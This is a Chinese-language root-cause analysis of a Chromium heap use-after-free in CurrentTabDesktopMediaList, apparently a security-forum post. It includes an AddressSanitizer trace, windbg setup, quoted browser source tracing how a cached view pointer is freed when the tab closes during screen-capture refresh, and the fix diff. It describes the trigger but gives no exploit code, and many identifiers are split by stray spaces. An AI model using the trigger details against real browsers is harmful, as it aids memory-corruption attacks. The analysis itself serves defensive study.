#1 0x5594461b017c in content::WebContentsViewAura::CreateViewForWidget(content::RenderWidgetHost*) content/browser/web_contents/web_contents_view_aura.cc:945:13
#2 0x55944618eeac in content::WebContentsImpl::CreateRenderWidgetHostViewForRenderManager(content::RenderViewHost*) content/browser/web_contents/web_contents_impl.cc:7631:14
#3 0x55944618f6b3 in content::WebContentsImpl::CreateRenderViewForRenderManager(content::RenderViewHost*, B ase::Optional<b l ink::MultiToken<util::TokenType<b l ink::LocalF rameTokenTypeMarker>, util::TokenType<b l ink::RemoteF rameTokenTypeMarker> > > const&, content::RenderF rameProxyHost*) content/browser/web_contents/web_contents_impl.cc:7654:5
#4 0x559445c9608d in InitRenderView content/browser/renderer_host/render_F rame_host_manager.cc:2688:29
#5 0x559445c9608d in content::RenderF rameHostManager::ReinitializeMainRenderF rame(content::RenderF rameHostImpl*) content/browser/renderer_host/render_F rame_host_manager.cc:2905:8
#6 0x559445c94272 in content::RenderF rameHostManager::GetF rameHostForNavigation(content::NavigationRequest*, std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> >*) content/browser/renderer_host/render_F rame_host_manager.cc:948:10
#7 0x559445c931dc in content::RenderF rameHostManager::DidCreateNavigationRequest(content::NavigationRequest*) content/browser/renderer_host/render_F rame_host_manager.cc:722:37
#8 0x5594459c2979 in content::F rameTreeNode::CreatedNavigationRequest(std::__1::unique_ptr<content::NavigationRequest, std::__1::default_delete<content::NavigationRequest> >) content/browser/renderer_host/F rame_tree_node.cc:517:21
#9 0x559445bbd12d in content::Navigator::Navigate(std::__1::unique_ptr<content::NavigationRequest, std::__1::default_delete<content::NavigationRequest> >, content::ReloadType) content/browser/renderer_host/navigator.cc:540:20
#10 0x559445b208ac in content::NavigationControllerImpl::NavigateWithoutEntry(content::NavigationController::LoadURLParams const&) content/browser/renderer_host/navigation_controller_impl.cc:3168:21
#11 0x559445b1fef4 in content::NavigationControllerImpl::LoadURLWithParams(content::NavigationController::LoadURLParams const&) content/browser/renderer_host/navigation_controller_impl.cc:1042:3
#12 0x559457a2534d in (anonymous namespace)::LoadURLInContents(content::WebContents*, GURL const&, NavigateParams*) chrome/browser/ui/browser_navigator.cc:385:36
#13 0x559457a22c13 in Navigate(NavigateParams*) chrome/browser/ui/browser_navigator.cc:660:7
#14 0x559457b18f64 in StartupBrowserCreatorImpl::OpenTabsInBrowser(Browser*, bool, std::__1::vector<StartupTab, std::__1::allocator<StartupTab> > const&) chrome/browser/ui/startup/startup_browser_creator_impl.cc:273:5
#15 0x559457b1b5a7 in StartupBrowserCreatorImpl::RestoreOrCreateBrowser(std::__1::vector<StartupTab, std::__1::allocator<StartupTab> > const&, StartupBrowserCreatorImpl::BrowserOpenBehavior, unsigned int, bool, bool) chrome/browser/ui/startup/startup_browser_creator_impl.cc:521:13
#16 0x559457b180ee in StartupBrowserCreatorImpl::DetermineURLsAndLaunch(bool, std::__1::vector<GURL, std::__1::allocator<GURL> > const&) chrome/browser/ui/startup/startup_browser_creator_impl.cc:385:22
#17 0x559457b174d1 in StartupBrowserCreatorImpl::Launch(Profile*, std::__1::vector<GURL, std::__1::allocator<GURL> > const&, bool, std::__1::unique_ptr<LaunchModeRecorder, std::__1::default_delete<LaunchModeRecorder> >) chrome/browser/ui/startup/startup_browser_creator_impl.cc:186:3
#18 0x559457b0b3b8 in StartupBrowserCreator::LaunchBrowser(B ase::CommandLine const&, Profile*, B ase::FilePath const&, chrome::startup::IsProcessStartup, chrome::startup::IsFirstRun, std::__1::unique_ptr<LaunchModeRecorder, std::__1::default_delete<LaunchModeRecorder> >) chrome/browser/ui/startup/startup_browser_creator.cc:573:13
#19 0x559457b1310d in StartupBrowserCreator::ProcessLastOpenedProfiles(B ase::CommandLine const&, B ase::FilePath const&, chrome::startup::IsProcessStartup, chrome::startup::IsFirstRun, Profile*, std::__1::vector<Profile*, std::__1::allocator<Profile*> > const&) chrome/browser/ui/startup/startup_browser_creator.cc:1115:10
#20 0x559457b12a72 in StartupBrowserCreator::LaunchBrowserForLastProfiles(B ase::CommandLine const&, B ase::FilePath const&, bool, Profile*, std::__1::vector<Profile*, std::__1::allocator<Profile*> > const&) chrome/browser/ui/startup/startup_browser_creator.cc:1065:10
#21 0x559457b0a8aa in StartupBrowserCreator::ProcessCmdLineImpl(B ase::CommandLine const&, B ase::FilePath const&, bool, Profile*, std::__1::vector<Profile*, std::__1::allocator<Profile*> > const&) chrome/browser/ui/startup/startup_browser_creator.cc:984:10
#22 0x559457b08ae2 in StartupBrowserCreator::Start(B ase::CommandLine const&, B ase::FilePath const&, Profile*, std::__1::vector<Profile*, std::__1::allocator<Profile*> > const&) chrome/browser/ui/startup/startup_browser_creator.cc:525:10
#23 0x55944d40567a in ChromeBrowserMainParts::PreMainMessageLoopRunImpl() chrome/browser/chrome_browser_main.cc:1648:25
#24 0x55944d403624 in ChromeBrowserMainParts::PreMainMessageLoopRun() chrome/browser/chrome_browser_main.cc:1043:18
#25 0x559445001cf1 in content::BrowserMainLoop::PreMainMessageLoopRun() content/browser/browser_main_loop.cc:952:13
#26 0x55944604e7f8 in Run B ase/callback.h:101:12
#27 0x55944604e7f8 in content::StartupTaskRunner::RunAllTasksNow() content/browser/startup_task_runner.cc:41:29
#28 0x559444fff1e2 in content::BrowserMainLoop::CreateStartupTasks() content/browser/browser_main_loop.cc:862:25
#29 0x55944500667a in content::BrowserMainRunnerImpl::Initialize(content::MainFunctionParams const&) content/browser/browser_main_runner_impl.cc:129:15
#30 0x559444ffb345 in content::BrowserMain(content::MainFunctionParams const&) content/browser/browser_main.cc:43:32
#31 0x55944c688845 in RunBrowserProcessMain content/app/content_main_runner_impl.cc:582:10
#32 0x55944c688845 in content::ContentMainRunnerImpl::RunBrowser(content::MainFunctionParams&, bool) content/app/content_main_runner_impl.cc:1067:10
SUMMARY: AddressSanitizer: heap-use-after-free chrome/browser/media/webrtc/current_tab_desktop_media_list.cc:123:10 in CurrentTabDesktopMediaList::Refresh(bool)
Shadow bytes around the buggy address:
0x0c3680018be0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c3680018bf0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c3680018c00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c3680018c10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c3680018c20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c3680018c30:[fd]fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c3680018c40: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c3680018c50: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c3680018c60: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c3680018c70: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c3680018c80: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user:f7
Container overflow: fc
Array cookie:ac
Intra o bject redzone:bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone:cb
Shadow gap: cc
==188105==ABORTING
调试环境搭建
可执行程序和符号获取
在 https://commondatastorage.googleapis.com/chromium-browser-snapshots/index.html 下载 win64 861450 版本 chromium,其中 Win_x64_861450_chrome-win.zip 为可执行程序,Win_x64_861450_chrome-win32-syms.zip 为对应的符号文件。下载这两个 zip ,然后解压。
源码准备
按照 Checking out and Building Chromium for Windows 下载 chromium 源码,然后使用git checkout
检出到 861450 对应的 commit,commit 编号在上节下载 zip 包的网页上找到。
加载可执行程序
先用 python 搭建一个简单的 HTTP 服务器,然后使用 windbg 加载 chromium 同进指定参数,如下所示:
点击 File - Symbol File Path,添加对应符号目录,如下所示:
点击 File - Source File Path,添加源码对应目录,如下所示:
由于 chrome 的主要功能实现在 chrome.dll 中,而此时该 dll 还没有被加载,使用sxe ld chrome
告诉 windbg,在加载完 chrome.dll 后中断,输入g运行程序,等待程序中断,使用lm
命令确认 chrome.dll 是否已经加载:
在 chrome.dll 加载完成后就可以使用.reload /f chrome.dll
命令加载 chrome.dll 的符号,如下图所示:
下面出现的警告可以不用理会。加载完符号后就可以进行带源码的调试,如下:
UAF 对象相关操作
对象创建
在浏览器收到请求后由 content::RenderF rameHostManager::InitRenderView
创建一个 RenderView,并在 RenderView 中创建 RenderWidget 如下:
// content\browser\renderer_host\render_F rame_host_manager.cc
bool RenderF rameHostManager::InitRenderView(
SiteInstance* site_instance,
RenderViewHostImpl* render_view_host,
RenderF rameProxyHost* proxy) {
// ---snip---
bool created = delegate_->CreateRenderViewForRenderManager(
render_view_host, opener_F rame_token, proxy);
// ---snip---
}
该函数会调用 web_contents_impl
类中的函数创建 RenderView :
// content\browser\web_contents\web_contents_impl.cc
bool WebContentsImpl::CreateRenderViewForRenderManager(
RenderViewHost* render_view_host,
const B ase::Optional<b l ink::F rameToken>& opener_F rame_token,
RenderF rameProxyHost* proxy_host) {
// ---snip---
if (!proxy_host)
CreateRenderWidgetHostViewForRenderManager(render_view_host);
// ---snip---
}
void WebContentsImpl::CreateRenderWidgetHostViewForRenderManager(
RenderViewHost* render_view_host) {
// ---snip---
RenderWidgetHostViewB ase* rwh_view =
view_->CreateViewForWidget(render_view_host->GetWidget());
// ---snip---
}
最后调用 web_contents_view_aura
类创建一个RenderWidgetHostViewAura
对象
// content\browser\web_contents\web_contents_view_aura.cc
RenderWidgetHostViewB ase* WebContentsViewAura::CreateViewForWidget(
RenderWidgetHost* render_widget_host) {
// ---snip---
RenderWidgetHostViewAura* view =
g_create_render_widget_host_view
? g_create_render_widget_host_view(render_widget_host)
: new RenderWidgetHostViewAura(render_widget_host);
// ---sinp---
}
此时就会创建一个RenderWidgetHostViewAura
对象,而在RenderWidgetHostViewAura
的初始化函数中,会调用相关函数,将view_
变量设置为自身,如下所示:
RenderWidgetHostViewAura::RenderWidgetHostViewAura(
RenderWidgetHost* widget_host)
: RenderWidgetHostViewB ase(widget_host),
window_(nullptr),
in_shutdown_(false),
in_bounds_changed_(false),
popup_parent_host_view_(nullptr),
popup_child_host_view_(nullptr),
is_loading_(false),
has_composition_text_(false),
added_F rame_observer_(false),
cursor_visibility_state_in_renderer_(UNKNOWN),
#if defined(OS_WIN)
legacy_render_widget_host_HWND_(nullptr),
legacy_window_destroyed_(false),
#endif
device_scale_factor_(0.0f),
event_handler_(new RenderWidgetHostViewEventHandler(host(), this, this)),
F rame_sink_id_(host()->GetF rameSinkId()) {
//---snip---
host()->SetView(this);
//---snip---
}
上段代码会调用到RenderWidgetHostImpl
类的SetView
函数,将view_
成员变量设置为传入的this
指针:
void RenderWidgetHostImpl::SetView(RenderWidgetHostViewB ase* view) {
synthetic_gesture_controller_.reset();
if (view) {
view_ = view->GetWeakPtr();
if (!create_F rame_sink_callback_.is_null())
std::move(create_F rame_sink_callback_).Run(view_->GetF rameSinkId());
//---snip---
} else {
view_.reset();
}
}
在 poc 代码中会请求共享当前屏幕的内容,此时需要用户授权,请求授权过程如下:
//content/browser/render_host/media/media_stream_ui_proxy.cc
void MediaStreamUIProxy::Core::RequestAccess(
std::unique_ptr<MediaStreamRequest> request) {
// ---snip---
render_delegate->RequestMediaAccessPermission(
*request,
B ase::BindOnce(&Core::ProcessAccessRequestResponse,
weak_factory_.GetWeakPtr(), request->render_process_id,
request->render_F rame_id));
}
//content/browser/web_contents/web_contents_impl.cc
void WebContentsImpl::RequestMediaAccessPermission(
const MediaStreamRequest& request,
MediaResponseCallback callback) {
//---snip---
if (delegate_) {
delegate_->RequestMediaAccessPermission(this, request, std::move(callback));
}
//---snip---
}
//content/browser/ui/browser.cc
void Browser::RequestMediaAccessPermission(
content::WebContents* web_contents,
const content::MediaStreamRequest& request,
content::MediaResponseCallback callback) {
//---snip---
handler->HandleRequest(web_contents, request, std::move(callback),
extension);
//---snip---
}
//content/browser/media/webrtc/display_media+access_handler.cc
void DisplayMediaAccessHandler::HandleRequest(
content::WebContents* web_contents,
const content::MediaStreamRequest& request,
content::MediaResponseCallback callback,
const extensions::Extension* extension) {
//---snip---
RequestsQueue& queue = pending_requests_[web_contents];
queue.push_back(std::make_unique<PendingAccessRequest>(
std::move(picker), request, std::move(callback)));
// If this is the only request then pop picker UI.
if (queue.size() == 1)
ProcessQueuedAccessRequest(queue, web_contents);
}
void DisplayMediaAccessHandler::ProcessQueuedAccessRequest(
const RequestsQueue& queue,
content::WebContents* web_contents) {
//---snip---
auto source_lists =
picker_factory_->CreateMediaList(media_types, web_contents);
//---snip---
}
//content/browser/media/webrtc/desktop_media_picker_factory_impl.cc
std::vector<std::unique_ptr<DesktopMediaList>>
DesktopMediaPickerFactoryImpl::CreateMediaList(
const std::vector<DesktopMediaList::Type>& types,
content::WebContents* web_contents) {
//---snip---
source_lists.push_back(
std::make_unique<CurrentTabDesktopMediaList>(web_contents));
//---snip---
}
//content/browser/media/webrtc/current_tab_desktop_media_list.cc
CurrentTabDesktopMediaList ::CurrentTabDesktopMediaList(
content::WebContents* web_contents)
: CurrentTabDesktopMediaList(web_contents, kUpdatePeriodMs, nullptr) {}
CurrentTabDesktopMediaList::CurrentTabDesktopMediaList(
content::WebContents* web_contents,
B ase::TimeDelta period,
DesktopMediaListObserver* observer)
: DesktopMediaListB ase(period),
view_(web_contents->GetRenderWidgetHostView()),
media_id_(content::DesktopMediaID::TYPE_WEB_CONTENTS,
content::DesktopMediaID::kNullId,
content::WebContentsMediaCaptureId(
web_contents->GetMainF rame()->GetProcess()->GetID(),
web_contents->GetMainF rame()->GetRoutingID())),
thumbnail_task_runner_(B ase::ThreadPool::CreateSequencedTaskRunner(
{B ase::MayBlock(), B ase::TaskPriority::USER_VISIBLE})) {
//---snip---
}
//content/browser/media/webrtc/desktop_media_list_B ase.cc
DesktopMediaListB ase::DesktopMediaListB ase(B ase::TimeDelta update_period)
: update_period_(update_period) {}
在 CurrentTabDesktopMediaList
类的构造函数中,将view_
的值初始化为 web_contents->GetRenderWidgetHostView()
将RenderWidgetHostView
进行缓存,,然后设置重绘时间为kUpdatePeriodMs
(1000000i64)。view_
获取过程如下:
//content/browser/web_contents/web_contents_impl.cc
RenderWidgetHostView* WebContentsImpl::GetRenderWidgetHostView() {
return GetRenderManager()->GetRenderWidgetHostView();
}
//content/browser/renderer_host/render_F rame_host_manager.cc
RenderWidgetHostView* RenderF rameHostManager::GetRenderWidgetHostView() const {
if (render_F rame_host_)
return render_F rame_host_->GetView();
return nullptr;
}
//content/browser/renderer_host/render_widget_host_impl.cc
RenderWidgetHostViewB ase* RenderWidgetHostImpl::GetView() {
return view_.get();
}
上面的代码最终获取RenderWidgetHostImpl
类的view_
变量,这正是上一步创建的RenderWidgetHostViewAura
对象。
页面更新
在 ProcessQueuedAccessRequest 函数创建 MediaList 后,会调用 show 函数,显示授权弹出窗口,如下所示:
//chrome/browser/ui/views/desktop_capture/desktop_picker_views.cc
void DisplayMediaAccessHandler::ProcessQueuedAccessRequest(
const RequestsQueue& queue,
content::WebContents* web_contents) {
//---snip---
auto source_lists =
picker_factory_->CreateMediaList(media_types, web_contents);
//---snip---
pending_request.picker->Show(picker_params, std::move(source_lists),
std::move(done_callback));
}
//chrome/browser/ui/views/desktop_capture/desktop_media_picker_views.cc
DesktopMediaPickerDialogView::DesktopMediaPickerDialogView(
const DesktopMediaPicker::Params& params,
DesktopMediaPickerViews* parent,
std::vector<std::unique_ptr<DesktopMediaList>> source_lists)
: web_contents_(params.web_contents), parent_(parent) {
//---snip---
for (const auto& list_controller : list_controllers_)
list_controller->StartUpdating(dialog_window_id);
}
//chrome/browser/ui/views/desktop_capture/desktop_media_list_controller.cc
void DesktopMediaListController::StartUpdating(
content::DesktopMediaID dialog_window_id) {
media_list_->SetViewDialogWindowId(dialog_window_id);
media_list_->StartUpdating(this);
}
//chrome/browser/media/webrtc/desktop_media_list_B ase.cc
void DesktopMediaListB ase::StartUpdating(DesktopMediaListObserver* observer) {
DCHECK(!observer_);
observer_ = observer;
// Process sources previously discovered by a call to Update().
if (observer_) {
for (size_t i = 0; i < sources_.size(); i++) {
observer_->OnSourceAdded(this, i);
}
}
DCHECK(!refresh_callback_);
refresh_callback_ = B ase::BindOnce(&DesktopMediaListB ase::ScheduleNextRefresh,
weak_factory_.GetWeakPtr());
Refresh(true);
}
在StartUpdating
函数中调用了将refresh_callback_
成员变量与DesktopMediaListB ase::ScheduleNextRefresh
函数进行绑定,然后调用了refresh
函数,该函数如下:
//chrome/browser/media/webrtc/current_tab_desktop_media_list.cc
void CurrentTabDesktopMediaList::Refresh(bool update_thumnails) {
DCHECK_CURRENTLY_ON(content::BrowserThread::UI);
DCHECK(can_refresh());
if (refresh_in_progress_ || !update_thumnails || thumbnail_size_.IsEmpty()) {
return;
}
refresh_in_progress_ = true;
auto reply = B ase::BindOnce(&CurrentTabDesktopMediaList::OnCaptureHandled,
weak_factory_.GetWeakPtr());
view_->CopyFromSurface(
gfx::Rect(), gfx::Size(),
B ase::BindPostTask(thumbnail_task_runner_,
B ase::BindOnce(&HandleCapturedBitmap, std::move(reply),
last_hash_, thumbnail_size_)));
}
在Refresh
函数中,将reply
与OncaptureHandled
函数进行绑定,然后作为参数传入CopyFromSurface
函数,因此该函数会调用OnCaptureHandled
函数返回结果,而在OnCaptureHandled
函数中,又会调用OnRefreshComplete
函数,最后通过refresh_callback_
调用DesktopMediaListB ase::ScheduleNextRefresh
函数,如下所示:
//chrome/browser/media/webrtc/current_tab_desktop_media_list.cc
void CurrentTabDesktopMediaList::OnCaptureHandled(
uint32_t hash,
const B ase::Optional<gfx::ImageSkia>& image) {
DCHECK_CURRENTLY_ON(content::BrowserThread::UI);
DCHECK((hash != last_hash_) == image.has_value()); // Only new F rames passed.
refresh_in_progress_ = false;
if (hash != last_hash_) {
last_hash_ = hash;
UpdateSourceThumbnail(media_id_, image.value());
}
OnRefreshComplete();
}
//chrome/browser/media/webrtc/desktop_media_list_B ase.cc
void DesktopMediaListB ase::OnRefreshComplete() {
DCHECK(refresh_callback_);
std::move(refresh_callback_).Run();
}
在ScheduleNextRefresh
函数中会将refresh_callback_
成员变量再次与自身进行绑定,然后发布一个延时任务调用Refresh
函数,形成一个循环,从而不停的对窗体进行刷新:
//chrome/browser/media/webrtc/desktop_media_list_B ase.cc
void DesktopMediaListB ase::ScheduleNextRefresh() {
DCHECK(!refresh_callback_);
refresh_callback_ = B ase::BindOnce(&DesktopMediaListB ase::ScheduleNextRefresh,
weak_factory_.GetWeakPtr());
content::GetUIThreadTaskRunner({})->PostDelayedTask(
FROM_HERE,
B ase::BindOnce(&DesktopMediaListB ase::Refresh, weak_factory_.GetWeakPtr(),
true),
update_period_);
}
对象释放
在 poc 调用 windows.close()
函数后,tab 被关闭,此时会释放一系列的对象,包括前面分配的RenderF rameHostManager
对象。关闭窗口的消息在经过 mojo 相关组件分发后会调用 content::WebContentsImpl::Close
函数,如下所示:
// content/browser/web_contents/web_contents_impl.cc
void WebContentsImpl::Close(RenderViewHost* rvh) {
//---snip---
// Ignore this if it comes from a RenderViewHost that we aren't showing.
if (delegate_ && rvh == GetRenderViewHost())
delegate_->CloseContents(this);
}
//chrome/browser/ui/browser.cc
void Browser::CloseContents(WebContents* source) {
if (unload_controller_.CanCloseContents(source))
chrome::CloseWebContents(this, source, true);
}
//chrome/browser/ui/browser_tabstrip.cc
void CloseWebContents(Browser* browser,
content::WebContents* contents,
bool add_to_history) {
int index = browser->tab_strip_model()->GetIndexOfWebContents(contents);
if (index == TabStripModel::kNoTab) {
NOTREACHED() << "CloseWebContents called for tab not in our strip";
return;
}
browser->tab_strip_model()->CloseWebContentsAt(
index, add_to_history ? TabStripModel::CLOSE_CREATE_HISTORICAL_TAB
: TabStripModel::CLOSE_NONE);
}
//chrome/browser/ui/browser.cc
void Browser::CloseContents(WebContents* source) {
if (unload_controller_.CanCloseContents(source))
chrome::CloseWebContents(this, source, true);
}
//chrome/browser/ui/browser_tabstrip.cc
void CloseWebContents(Browser* browser,
content::WebContents* contents,
bool add_to_history) {
int index = browser->tab_strip_model()->GetIndexOfWebContents(contents);
if (index == TabStripModel::kNoTab) {
NOTREACHED() << "CloseWebContents called for tab not in our strip";
return;
}
browser->tab_strip_model()->CloseWebContentsAt(
index, add_to_history ? TabStripModel::CLOSE_CREATE_HISTORICAL_TAB
: TabStripModel::CLOSE_NONE);
}
//chrome/browser/ui/tabs/tab_strip_model.cc
bool TabStripModel::CloseWebContentsAt(int index, uint32_t close_types) {
DCHECK(ContainsIndex(index));
WebContents* contents = GetWebContentsAt(index);
return InternalCloseTabs(B ase::span<WebContents* const>(&contents, 1),
close_types);
}
bool TabStripModel::InternalCloseTabs(
B ase::span<content::WebContents* const> items,
uint32_t close_types) {
//--snip---
const bool closed_all =
CloseWebContentses(items, close_types, ¬ifications);
//---snip---
}
bool TabStripModel::CloseWebContentses(
B ase::span<content::WebContents* const> items,
uint32_t close_types,
DetachNotifications* notifications) {
//---snip---
if (!browser_shutdown::HasShutdownStarted()) {
// Construct a map of processes to the number of associated tabs that are
// closing.
B ase::flat_map<content::RenderProcessHost*, size_t> processes;
for (content::WebContents* contents : items) {
if (ShouldRunUnloadListenerBeforeClosing(contents))
continue;
content::RenderProcessHost* process =
contents->GetMainF rame()->GetProcess();
++processes[process];
}
// Try to fast shutdown the tabs that can close.
for (const auto& pair : processes)
pair.first->FastShutdownIfPossible(pair.second, false);
}
//---snip---
}
CloseWebContentses
尝试调用 fast shutdown 关闭相关 tabs:
//content/browser/renderer_host/render_process_host_impl.cc
bool RenderProcessHostImpl::FastShutdownIfPossible(size_t page_count,
bool skip_unload_handlers) {
//---snip---
ProcessDied(false /* already_dead */, nullptr);
//---snip---
}
void RenderProcessHostImpl::ProcessDied(
bool already_dead,
ChildProcessTerminationInfo* known_info) {
//---snip---
for (auto& observer : observers_)
observer.RenderProcessExited(this, info);
//---snip---
}
//content/browser/renderer_host/render_view_host_impl.cc
void RenderViewHostImpl::RenderProcessExited(
RenderProcessHost* host,
const ChildProcessTerminationInfo& info) {
renderer_view_created_ = false;
GetWidget()->RendererExited();
delegate_->RenderViewTerminated(this, info.status, info.exit_code);
// |this| might have been deleted. Do not add code here.
}
//content/browser/renderer_host/render_widget_host_impl.cc
void RenderWidgetHostImpl::RendererExited() {
//---snip---
if (view_) {
view_->RenderProcessGone();
SetView(nullptr); // The View should be deleted by RenderProcessGone.
}
}
//content/browser/renderer_host/render_widget_host_view_aura.cc
void RenderWidgetHostViewAura::RenderProcessGone() {
UpdateCursorIfOverSelf();
Destroy();
}
void RenderWidgetHostViewAura::Destroy() {
//---snip---
in_shutdown_ = true;
if (window_)
delete window_;
else
delete this;
}
通过以上调用链将 window_ 对象删除。
UAF
通过 UAF 对象的分配、释放和缓存过程可以看出,如果在队列中还存在重绘任务时调用相关函数将 RenderWidgetHostViewAura 对象释放掉后,在下一次调用 Refersh 函数时会对缓存的 RenderWidgetHostViewAura 指针进行解引用,而该对象已经被释放,因此会触发 UAF。
漏洞修补
避免在创建CurrentTabDesktopMediaList
时缓存RenderWidgetHostView
,在需要使用该对象时通过content::RenderF rameHost::FromID
和content::RenderWidgetHostView
获取,当 view 对象被释放后,返回的是一个空指针,因此避免了 UAF。如下:
--- a/chrome/browser/media/webrtc/current_tab_desktop_media_list.cc
+++ b/chrome/browser/media/webrtc/current_tab_desktop_media_list.cc
@@ -84,7 +84,6 @@
B ase::TimeDelta period,
DesktopMediaListObserver* observer)
: DesktopMediaListB ase(period),
- view_(web_contents->GetRenderWidgetHostView()),
media_id_(content::DesktopMediaID::TYPE_WEB_CONTENTS,
content::DesktopMediaID::kNullId,
content::WebContentsMediaCaptureId(
@@ -93,7 +92,6 @@
thumbnail_task_runner_(B ase::ThreadPool::CreateSequencedTaskRunner(
{B ase::MayBlock(), B ase::TaskPriority::USER_VISIBLE})) {
DCHECK(web_contents);
- DCHECK(view_);
type_ = DesktopMediaList::Type::kCurrentTab;
@@ -107,11 +105,23 @@
CurrentTabDesktopMediaList::~CurrentTabDesktopMediaList() = default;
-void CurrentTabDesktopMediaList::Refresh(bool update_thumnails) {
+void CurrentTabDesktopMediaList::Refresh(bool update_thumbnails) {
DCHECK_CURRENTLY_ON(content::BrowserThread::UI);
DCHECK(can_refresh());
- if (refresh_in_progress_ || !update_thumnails || thumbnail_size_.IsEmpty()) {
+ if (refresh_in_progress_ || !update_thumbnails || thumbnail_size_.IsEmpty()) {
+return;
+ }
+
+ content::RenderF rameHost* const host = content::RenderF rameHost::FromID(
+ media_id_.web_contents_id.render_process_id,
+ media_id_.web_contents_id.main_render_F rame_id);
+ if (!host) {
+return;
+ }
+
+ content::RenderWidgetHostView* const view = host->GetView();
+ if (!view) {
return;
}
@@ -120,7 +130,7 @@
auto reply = B ase::BindOnce(&CurrentTabDesktopMediaList::OnCaptureHandled,
weak_factory_.GetWeakPtr());
- view_->CopyFromSurface(
+ view->CopyFromSurface(
gfx::Rect(), gfx::Size(),
B ase::BindPostTask(thumbnail_task_runner_,
B ase::BindOnce(&HandleCapturedBitmap, std::move(reply),
--- a/chrome/browser/media/webrtc/current_tab_desktop_media_list.h
+++ b/chrome/browser/media/webrtc/current_tab_desktop_media_list.h
@@ -23,7 +23,7 @@
B ase::TimeDelta period,
DesktopMediaListObserver* observer);
- void Refresh(bool update_thumnails) override;
+ void Refresh(bool update_thumbnails) override;
// Called on the UI thread after the captured image is handled. If the
// image was new, it's rescaled to the desired size and sent back in |image|.
@@ -38,7 +38,6 @@
void ResetLastHashForTesting();
// This "list" tracks a single view - the one represented by these variables.
- content::RenderWidgetHostView* const view_;
const content::DesktopMediaID media_id_;
// Avoid two concurrent refreshes.
- 本文作者: 别说了别说了我是废物
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/290
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!